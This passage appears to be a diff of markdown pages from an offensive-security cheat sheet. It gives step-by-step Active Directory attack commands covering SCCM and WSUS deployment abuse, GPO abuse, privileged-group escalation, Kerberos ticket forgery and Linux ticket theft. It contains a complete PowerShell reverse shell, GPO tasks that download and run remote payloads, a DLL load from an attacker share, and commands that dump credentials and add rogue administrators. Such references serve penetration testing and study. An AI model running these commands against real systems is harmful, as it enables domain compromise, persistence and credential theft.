MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
|
||||
```
|
||||
* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`
|
||||
```ps1
|
||||
MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
|
||||
MalSCCM.exe inspect /applications
|
||||
```
|
||||
|
||||
* Deploy the application to the target group
|
||||
```ps1
|
||||
MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
|
||||
MalSCCM.exe inspect /deployments
|
||||
```
|
||||
* Force the target group to checkin for updates
|
||||
```ps1
|
||||
MalSCCM.exe checkin /groupname:TargetGroup
|
||||
```
|
||||
|
||||
* Cleanup the application, deployment and group
|
||||
```ps1
|
||||
MalSCCM.exe app /cleanup /name:demoapp
|
||||
MalSCCM.exe group /delete /groupname:TargetGroup
|
||||
```
|
||||
|
||||
|
||||
## Network Access Accounts
|
||||
|
||||
> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
|
||||
|
||||
On the machine.
|
||||
* Find SCCM blob
|
||||
```ps1
|
||||
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
||||
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
|
||||
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
|
||||
```
|
||||
* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) or [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption
|
||||
```ps1
|
||||
.\SharpDPAPI.exe SCCM
|
||||
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
||||
```
|
||||
* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
|
||||
```ps1
|
||||
Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
|
||||
ConvertFrom-SddlString ""
|
||||
```
|
||||
|
||||
From a remote machine.
|
||||
* Using [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter)
|
||||
```ps1
|
||||
python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto
|
||||
```
|
||||
|
||||
|
||||
## SCCM Shares
|
||||
|
||||
> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares
|
||||
|
||||
* [1njected/CMLoot](https://github.com/1njected/CMLoot)
|
||||
```ps1
|
||||
Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
|
||||
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
|
||||
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
|
||||
```
|
|
@ -0,0 +1,14 @@
|
|||
# Deployment - WSUS
|
||||
|
||||
> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
|
||||
|
||||
:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
|
||||
|
||||
* [SharpWSUS](https://github.com/nettitude/SharpWSUS)
|
||||
|
||||
1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
|
||||
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
|
||||
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
|
||||
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
|
||||
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
|
||||
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`
|
|
@ -0,0 +1,106 @@
|
|||
# Group Policy Objects
|
||||
|
||||
> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
|
||||
|
||||
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
|
||||
|
||||
GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
|
||||
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.
|
||||
|
||||
:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force`.
|
||||
|
||||
|
||||
## Find vulnerable GPO
|
||||
|
||||
Look a GPLink where you have the **Write** right.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
|
||||
```
|
||||
|
||||
|
||||
## Abuse GPO with SharpGPOAbuse
|
||||
|
||||
```powershell
|
||||
# Build and configure SharpGPOAbuse
|
||||
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
|
||||
$ Install-Package CommandLineParser -Version 1.9.3.15
|
||||
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
|
||||
|
||||
# Adding User Rights
|
||||
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
|
||||
|
||||
# Adding a Local Admin
|
||||
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
|
||||
|
||||
# Configuring a User or Computer Logon Script
|
||||
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
|
||||
|
||||
# Configuring a Computer or User Immediate Task
|
||||
# /!\ Intended to "run once" per GPO refresh, not run once per system
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
|
||||
```
|
||||
|
||||
|
||||
## Abuse GPO with PowerGPOAbuse
|
||||
|
||||
* https://github.com/rootSySdk/PowerGPOAbuse
|
||||
|
||||
```ps1
|
||||
PS> . .\PowerGPOAbuse.ps1
|
||||
|
||||
# Adding a localadmin
|
||||
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
|
||||
|
||||
# Assign a new right
|
||||
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
|
||||
|
||||
# Adding a New Computer/User script
|
||||
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
|
||||
|
||||
# Create an immediate task
|
||||
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
|
||||
```
|
||||
|
||||
|
||||
## Abuse GPO with pyGPOAbuse
|
||||
|
||||
```powershell
|
||||
$ git clone https://github.com/Hackndo/pyGPOAbuse
|
||||
|
||||
# Add john user to local administrators group (Password: H4x00r123..)
|
||||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
||||
|
||||
# Reverse shell example
|
||||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
|
||||
-powershell \
|
||||
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
|
||||
-taskname "Completely Legit Task" \
|
||||
-description "Dis is legit, pliz no delete" \
|
||||
-user
|
||||
```
|
||||
|
||||
|
||||
## Abuse GPO with PowerView
|
||||
|
||||
```powershell
|
||||
# Enumerate GPO
|
||||
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
|
||||
|
||||
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
|
||||
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
|
||||
```
|
||||
|
||||
## Abuse GPO with StandIn
|
||||
|
||||
```powershell
|
||||
# Add a local administrator
|
||||
StandIn.exe --gpo --filter Shards --localadmin user002
|
||||
|
||||
# Set custom right to a user
|
||||
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
|
||||
|
||||
# Execute a custom command
|
||||
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
|
||||
```
|
|
@ -0,0 +1,112 @@
|
|||
# Active Directory Groups
|
||||
|
||||
## Dangerous Built-in Groups Usage
|
||||
|
||||
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.
|
||||
|
||||
> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
|
||||
|
||||
Find users with `AdminCount=1`.
|
||||
|
||||
```powershell
|
||||
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
|
||||
# or
|
||||
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
|
||||
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
|
||||
# or
|
||||
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
|
||||
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
|
||||
# or
|
||||
([adsisearcher]"(AdminCount=1)").findall()
|
||||
```
|
||||
|
||||
|
||||
## AdminSDHolder Attribute
|
||||
|
||||
> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
|
||||
|
||||
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
|
||||
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
|
||||
|
||||
```powershell
|
||||
# Add a user to the AdminSDHolder group:
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
|
||||
|
||||
# Right to reset password for toto using the account titi
|
||||
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
|
||||
|
||||
# Give all rights
|
||||
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
|
||||
```
|
||||
|
||||
|
||||
## DNS Admins Group
|
||||
|
||||
> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
|
||||
|
||||
:warning: Require privileges to restart the DNS service.
|
||||
|
||||
* Enumerate members of DNSAdmins group
|
||||
```ps1
|
||||
Get-NetGroupMember -GroupName "DNSAdmins"
|
||||
Get-ADGroupMember -Identity DNSAdmins
|
||||
```
|
||||
* Change dll loaded by the DNS service
|
||||
```ps1
|
||||
# with RSAT
|
||||
dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
|
||||
dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
|
||||
|
||||
# with DNSServer module
|
||||
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
|
||||
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
|
||||
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
|
||||
```
|
||||
* Check the previous command success
|
||||
```ps1
|
||||
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
|
||||
```
|
||||
* Restart DNS
|
||||
```ps1
|
||||
sc \\dc01 stop dns
|
||||
sc \\dc01 start dns
|
||||
```
|
||||
|
||||
## Schema Admins Group
|
||||
|
||||
> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.
|
||||
|
||||
|
||||
## Backup Operators Group
|
||||
|
||||
> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.
|
||||
|
||||
This groups grants the following privileges :
|
||||
- SeBackup privileges
|
||||
- SeRestore privileges
|
||||
|
||||
* Get members of the group:
|
||||
```ps1
|
||||
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
* Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege)
|
||||
```ps1
|
||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
* Retrieve sensitive files
|
||||
```ps1
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
|
||||
```
|
||||
* Retrieve content of AutoLogon in the HKLM\SOFTWARE hive
|
||||
```ps1
|
||||
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
|
||||
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
|
||||
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
|
||||
```
|
||||
* Retrieve SAM,SECURITY and SYSTEM hives
|
||||
* [mpgn/BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA): `.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\`
|
||||
* [improsec/BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit): `.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK`
|
|
@ -0,0 +1,182 @@
|
|||
# Kerberos Tickets
|
||||
|
||||
Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.
|
||||
|
||||
There are two types of tickets in Kerberos:
|
||||
|
||||
* **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
|
||||
|
||||
* **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.
|
||||
|
||||
|
||||
## Dump Kerberos Tickets
|
||||
|
||||
* Mimikatz: `sekurlsa::tickets /export`
|
||||
* Rubeus
|
||||
```ps1
|
||||
# List available tickets
|
||||
Rubeus.exe triage
|
||||
|
||||
# Dump one ticket, the output is in Kirbi format
|
||||
Rubeus.exe dump /luid:0x12d1f7
|
||||
```
|
||||
|
||||
|
||||
## Replay Kerberos Tickets
|
||||
|
||||
* Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"`
|
||||
* CrackMapExec: `KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -u user --use-kcache`
|
||||
|
||||
|
||||
## Convert Kerberos Tickets
|
||||
|
||||
In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.
|
||||
|
||||
* A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
|
||||
|
||||
* The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.
|
||||
|
||||
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:
|
||||
|
||||
* kekeo: `misc::convert ccache ticket.kirbi`
|
||||
* impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache`
|
||||
|
||||
|
||||
## Pass-the-Ticket Golden Tickets
|
||||
|
||||
Forging a TGT require:
|
||||
* the `krbtgt` NT hash
|
||||
* since recently, we cannot use a non-existent account name as a result of `CVE-2021-42287` mitigations
|
||||
|
||||
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.
|
||||
|
||||
### Using Mimikatz
|
||||
|
||||
```powershell
|
||||
# Get info - Mimikatz
|
||||
lsadump::lsa /inject /name:krbtgt
|
||||
lsadump::lsa /patch
|
||||
lsadump::trust /patch
|
||||
lsadump::dcsync /user:krbtgt
|
||||
|
||||
# Forge a Golden ticket - Mimikatz
|
||||
kerberos::purge
|
||||
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
|
||||
kerberos::tgt
|
||||
```
|
||||
|
||||
### Using Meterpreter
|
||||
|
||||
```powershell
|
||||
# Get info - Meterpreter(kiwi)
|
||||
dcsync_ntlm krbtgt
|
||||
dcsync krbtgt
|
||||
|
||||
# Forge a Golden ticket - Meterpreter
|
||||
load kiwi
|
||||
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
|
||||
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
|
||||
kerberos_ticket_purge
|
||||
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
|
||||
kerberos_ticket_list
|
||||
```
|
||||
|
||||
### Using a ticket on Linux
|
||||
|
||||
```powershell
|
||||
# Convert the ticket kirbi to ccache with kekeo
|
||||
misc::convert ccache ticket.kirbi
|
||||
|
||||
# Alternatively you can use ticketer from Impacket
|
||||
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
|
||||
|
||||
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
|
||||
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
|
||||
|
||||
export KRB5CCNAME=/home/user/ticket.ccache
|
||||
cat $KRB5CCNAME
|
||||
|
||||
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
|
||||
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
|
||||
```
|
||||
|
||||
If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.
|
||||
|
||||
```powershell
|
||||
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
|
||||
Converting ccache => kirbi
|
||||
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
|
||||
Converting kirbi => ccache
|
||||
```
|
||||
|
||||
|
||||
Mitigations:
|
||||
* Hard to detect because they are legit TGT tickets
|
||||
* Mimikatz generate a golden ticket with a life-span of 10 years
|
||||
|
||||
|
||||
## Pass-the-Ticket Silver Tickets
|
||||
|
||||
Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.
|
||||
|
||||
```powershell
|
||||
# Create a ticket for the service
|
||||
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
|
||||
|
||||
# Examples
|
||||
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
|
||||
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
|
||||
|
||||
# Then use the same steps as a Golden ticket
|
||||
mimikatz $ misc::convert ccache ticket.kirbi
|
||||
|
||||
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
|
||||
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
|
||||
```
|
||||
|
||||
Interesting services to target with a silver ticket :
|
||||
|
||||
| Service Type | Service Silver Tickets | Attack |
|
||||
|---------------------------------------------|------------------------|--------|
|
||||
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
|
||||
| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
|
||||
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
|
||||
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
|
||||
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |
|
||||
| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
|
||||
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
|
||||
|
||||
|
||||
Mitigations:
|
||||
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
|
||||
|
||||
|
||||
## Pass-the-Ticket Diamond Tickets
|
||||
|
||||
> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key
|
||||
|
||||
Require:
|
||||
* krbtgt NT Hash
|
||||
* krbtgt AES key
|
||||
|
||||
```ps1
|
||||
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
|
||||
|
||||
Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
|
||||
```
|
||||
|
||||
|
||||
## Pass-the-Ticket Sapphire Tickets
|
||||
|
||||
> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).
|
||||
|
||||
The goal is to mimic the PAC field as close as possible to a legitimate one.
|
||||
|
||||
Require:
|
||||
* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411)
|
||||
* krbtgt AES key
|
||||
|
||||
```ps1
|
||||
# baduser argument will be ignored
|
||||
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
|
||||
```
|
|
@ -0,0 +1,131 @@
|
|||
# Linux Active Directory
|
||||
|
||||
## CCACHE ticket reuse from /tmp
|
||||
|
||||
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
|
||||
|
||||
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
|
||||
|
||||
```powershell
|
||||
$ ls /tmp/ | grep krb5cc
|
||||
krb5cc_1000
|
||||
krb5cc_1569901113
|
||||
krb5cc_1569901115
|
||||
|
||||
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
|
||||
```
|
||||
|
||||
|
||||
## CCACHE ticket reuse from keyring
|
||||
|
||||
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
|
||||
|
||||
```powershell
|
||||
# Configuration and build
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
|
||||
[root@Lab-LSV01 /]# /tmp/tickey -i
|
||||
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
|
||||
[+] root detected, so... DUMP ALL THE TICKETS!!
|
||||
[*] Trying to inject in tarlogic[1000] session...
|
||||
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
|
||||
[*] Trying to inject in velociraptor[1120601115] session...
|
||||
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
|
||||
[*] Trying to inject in trex[1120601113] session...
|
||||
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
|
||||
[X] [uid:0] Error retrieving tickets
|
||||
```
|
||||
|
||||
## CCACHE ticket reuse from SSSD KCM
|
||||
|
||||
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
|
||||
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
|
||||
By default, the key is only readable if you have **root** permissions.
|
||||
|
||||
Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
|
||||
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
|
||||
|
||||
|
||||
## CCACHE ticket reuse from keytab
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
|
||||
## Extract accounts from /etc/krb5.keytab
|
||||
|
||||
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
|
||||
|
||||
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
|
||||
|
||||
```powershell
|
||||
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
|
||||
[...]
|
||||
[26] Service principal: host/COMPUTER@DOMAIN
|
||||
KVNO: 25
|
||||
Key type: 23
|
||||
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
Time stamp: Oct 07, 2019 09:12:02
|
||||
[...]
|
||||
```
|
||||
|
||||
On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
|
||||
|
||||
```powershell
|
||||
$ python3 keytabextract.py krb5.keytab
|
||||
